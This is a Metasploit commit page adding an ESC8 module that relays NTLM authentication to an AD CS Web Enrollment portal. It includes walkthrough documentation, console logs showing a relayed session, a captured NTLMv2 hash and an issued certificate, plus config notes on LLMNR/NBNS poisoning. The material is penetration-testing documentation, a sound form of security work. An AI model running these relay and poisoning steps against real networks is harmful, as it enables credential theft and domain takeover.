Skip to content

Commit

Permalink
Merge pull request #5 from zeroSteiner/pr/collab/19404
Browse files Browse the repository at this point in the history
Pr/collab/19404
  • Loading branch information
bwatters-r7 authored Nov 4, 2024
2 parents a18b2b3 + e130092 commit 096e86c
Show file tree
Hide file tree
Showing 19 changed files with 1,067 additions and 1,006 deletions.
3 changes: 3 additions & 0 deletions data/capture_config.yaml
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
# configuration file for the capture plugin
spoof_regex: .*
ntlm_challenge: "1122334455667788"
ntlm_domain: anonymous
Expand All @@ -6,6 +7,7 @@ ssl_cert: null
logfile: null
hashdir: null
services:
# authentication services
- type: DRDA
enabled: yes
- type: FTP
Expand Down Expand Up @@ -46,6 +48,7 @@ services:
enabled: yes
- type: SMTPS
enabled: yes
# spoofing / poisoning services
- type: NBNS
enabled: yes
- type: LLMNR
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,10 @@ flowchart TD
update_template[<i>Update Template</i>]
ESC4 -- abuse privileges --> update_template
end
subgraph relay/esc8[<b>relay/esc8</b>]
ESC8(ESC8)
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
Expand Down Expand Up @@ -45,11 +49,12 @@ flowchart TD
normal --> PKINIT
normal --> SCHANNEL
update_template --> ESC1
web_enrollment --> PKINIT
web_enrollment --> SCHANNEL
```

The chart above showcases how one can go about attacking five unique AD CS
vulnerabilities, taking advantage of various flaws in how certificate templates are
configured on an Active Directory Certificate Server.
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
taking advantage of various flaws in how certificate templates are configured on an Active Directory Certificate Server.

The following sections will walk through each of these steps, starting with enumerating
certificate templates that the server has to offer and identifying those that are
Expand Down Expand Up @@ -81,6 +86,7 @@ attacks that they found they could conduct via misconfigured certificate templat
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
- ESC7 - Vulnerable Certificate Authority Access Control
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc8]]

Later, additional techniques were disclosed by security researchers:

Expand Down Expand Up @@ -110,8 +116,8 @@ Later, additional techniques were disclosed by security researchers:
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]

Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC13 and ESC15. As such,
this page only covers exploiting ESC1 through ESC4, ESC13 and ESC15 at this time.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
covers exploiting that subset of ESC flaws.

Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
Expand Down Expand Up @@ -866,14 +872,63 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
used to authenticate to Active Directory as the Domain Admin.

# Exploiting ESC8
ESC8 leverages relaying NTLM authentication from an SMB server (running on Metasploit) to the HTTP(S) AD CS Web
Enrollment portal running on a remote target. The attacker will need to coerce a client with privileges to authenticate
to the target portal to authenticate to Metasploit instead. This can be achieved via a few techniques, including name
poisoning via the `capture` plugin, coercion via the `auxiliary/scanner/dcerpc/petitpotam` module, or even a well placed
UNC path. Once authentication has been relayed and an authorized HTTP session has been established, the attacker can
query available certificate templates as well as issue them.

Exploitation of this flaw is facilitated through the `auxiliary/server/relay/esc8` module which handles starting the SMB
relay server and enables configuration of what happens when relaying is successful. Users can select from different
operational "modes" via the MODE datastore option which controls what the module will do. For a full description, see
the modules documentation. The default mode, "AUTO" will issue a User certificate if the relayed connection is for a
user account or a Machine certificate if it's for a machine account. Once this certificate has been issued, it can be
used for authentication. See the [Authenticating With A Certificate](#authenticating-with-a-certificate) section for
more information.

In the following example the AUTO mode is used to issue a certificate for the MSFLAB\smcintyre once they have
authenticated.

```msf
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
msf6 auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Relaying to next target http://172.30.239.85:80/certsrv/
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://172.30.239.85:80/certsrv/
[SMB] NTLMv2-SSP Client : 172.30.239.85
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
[*] Creating certificate request for MSFLAB\smcintyre using the User template
[*] Generating CSR...
[*] CSR Generated
[*] Requesting relay target generate certificate...
[+] Certificate generated using template User and MSFLAB\smcintyre
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_172.30.239.85_windows.ad.cs_995918.pfx
[*] Relay tasks complete; waiting for next login attempt.
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```

# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.

```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,9 @@ along with info about which vulnerable certificate templates the certificate ser
allows enrollment in and which SIDs are authorized to use that certificate server to
perform this enrollment operation.

Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13,
and ESC15. The module is limited to checking for these techniques due to them being identifiable remotely from
a normal user account by analyzing the objects in LDAP.

### Installing AD CS
1. Install AD CS on either a new or existing domain controller
Expand Down
63 changes: 63 additions & 0 deletions documentation/modules/auxiliary/server/relay/esc8.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
## Vulnerable Application
This module creates an SMB server and then relays the credentials passed to it
to an HTTP server to gain an authenticated connection. Once that connection is
established, the module makes an authenticated request for a certificate based
on a given template.

## Verification Steps

1. Install and configure the application
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
2. Start `msfconsole`
2. Do: `use auxiliary/server/relay/esc8`
3. Set the `RANDOMIZE_TARGETS` option to the AD CS Web Enrollment server
4. Run the module and wait for a request to be relayed

## Options

### MODE
The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment
server. Must be one of the following options:

* ALL: Enumerate all available certificate templates and then issue each of them
* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
is a machine account.
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option

### CERT_TEMPLATE
The template to issue if MODE is SPECIFIC_TEMPLATE.

## Scenarios

### Version and OS

```
msf6 auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Relaying to next target http://192.168.159.10:80/certsrv/
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://192.168.159.10:80/certsrv/
[SMB] NTLMv2-SSP Client : 192.168.159.10
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
[*] Creating certificate request for MSFLAB\smcintyre using the User template
[*] Generating CSR...
[*] CSR Generated
[*] Requesting relay target generate certificate...
[+] Certificate generated using template User and MSFLAB\smcintyre
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_192.168.159.10_windows.ad.cs_995918.pfx
[*] Relay tasks complete; waiting for next login attempt.
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
13 changes: 10 additions & 3 deletions lib/msf/core/exploit/remote/http_client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -354,10 +354,17 @@ def cleanup
end

#
# Connects to the server, creates a request, sends the request, reads the response
# Connects to the server, creates a request, sends the request, reads the response.
#
# In certain cases such as when the response is a 401 and the client is configured for authentication, more than one
# request may be sent to the server. A degree of control over disconnecting the client's underlying socket can be
# obtained by toggling the disconnect option.
#
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
#
# @param [Hash] opts Options with which to make the HTTP request
# @param [Integer] timeout The timeout for requests and responses
# @param [Boolean] disconnect Whether to disconnect the client's socket after the last request has been made
def send_request_raw(opts = {}, timeout = 20, disconnect = false)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_timeout = datastore['HttpClientTimeout']
Expand All @@ -366,7 +373,7 @@ def send_request_raw(opts = {}, timeout = 20, disconnect = false)
end

c = opts['client'] || connect(opts)
r = opts[:cgi] ? c.request_cgi(opts) : c.request_raw(opts)
r = opts['cgi'] ? c.request_cgi(opts) : c.request_raw(opts)

res = c.send_recv(r, actual_timeout)

Expand Down Expand Up @@ -410,7 +417,7 @@ def send_request_cgi(opts = {}, timeout = 20, disconnect = true)
opts = opts.merge({ 'cookie' => cookie_jar.cookies.join('; ') })
end

res = send_request_raw(opts.merge(cgi: true), timeout, disconnect)
res = send_request_raw(opts.merge('cgi' => true), timeout, disconnect)
return unless res

if opts['keep_cookies'] && res.headers['Set-Cookie'].present?
Expand Down
50 changes: 6 additions & 44 deletions lib/msf/core/exploit/remote/smb/log_adapter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -3,54 +3,16 @@
module Msf::Exploit::Remote::SMB::LogAdapter
# API inherited from ::Rex::Ui::Output, but as it is a class - it can not be included as a mixin
class Logger < ::Logger
extend Forwardable

def_delegators :@mod, :datastore, :print
def_delegators :@mod, :vprint_bad, :vprint_error, :vprint_good, :vprint_line, :vprint_status, :vprint_warning
def_delegators :@mod, :print_bad, :print_error, :print_good, :print_line, :print_status, :print_warning

def initialize(mod, log_device)
super(log_device)
@mod = mod
end

#
# Prints an error message.
#
def print_error(msg = '')
@mod.print_error(msg)
end

alias print_bad print_error

#
# Prints a 'good' message.
#
def print_good(msg = '')
@mod.print_good(msg)
end

#
# Prints a status line.
#
def print_status(msg = '')
@mod.print_status(msg)
end

#
# Prints an undecorated line of information.
#
def print_line(msg = '')
@mod.print_line(msg)
end

#
# Prints a warning
#
def print_warning(msg = '')
@mod.print_warning(msg)
end

#
# Prints a message with no decoration.
#
def print(msg = '')
@mod.print(msg)
end
end

# Log devices to be used with Ruby's default Logging
Expand Down
6 changes: 3 additions & 3 deletions lib/msf/core/exploit/remote/smb/relay/ntlm/server.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ class Server < ::RubySMB::Server
# https://github.com/rapid7/metasploit-framework/issues/16261
# Note there are similar supported dialects for both the server and the relay clients
# {Msf::Exploit::Remote::SMB::Relay::NTLM::SUPPORTED_SERVER_DIALECTS} and
# {Msf::Exploit::Remote::SMB::Relay::NTLM::SMBRelayTargetClient::SUPPORTED_CLIENT_DIALECTS}
# {Msf::Exploit::Remote::SMB::Relay::NTLM::Target::SMB::Client::SUPPORTED_CLIENT_DIALECTS}
SUPPORTED_SERVER_DIALECTS = [
RubySMB::Client::SMB1_DIALECT_SMB1_DEFAULT,

Expand Down Expand Up @@ -47,13 +47,13 @@ def run(&block)
begin
_port, ip_address = ::Socket::unpack_sockaddr_in(server_client.getpeername)
logger.print_status("New request from #{ip_address}")
logger.info("starting thread for connection")
logger.info("Starting thread for connection from #{ip_address}")
server_client.run
rescue => e
logger.print_error "#{e.message}"
elog(e)
end
logger.info("ending thread for connection")
logger.info("Ending thread for connection from #{ip_address}")
end)

break unless block.nil? || block.call(server_client)
Expand Down
Loading

0 comments on commit 096e86c

Please sign in to comment.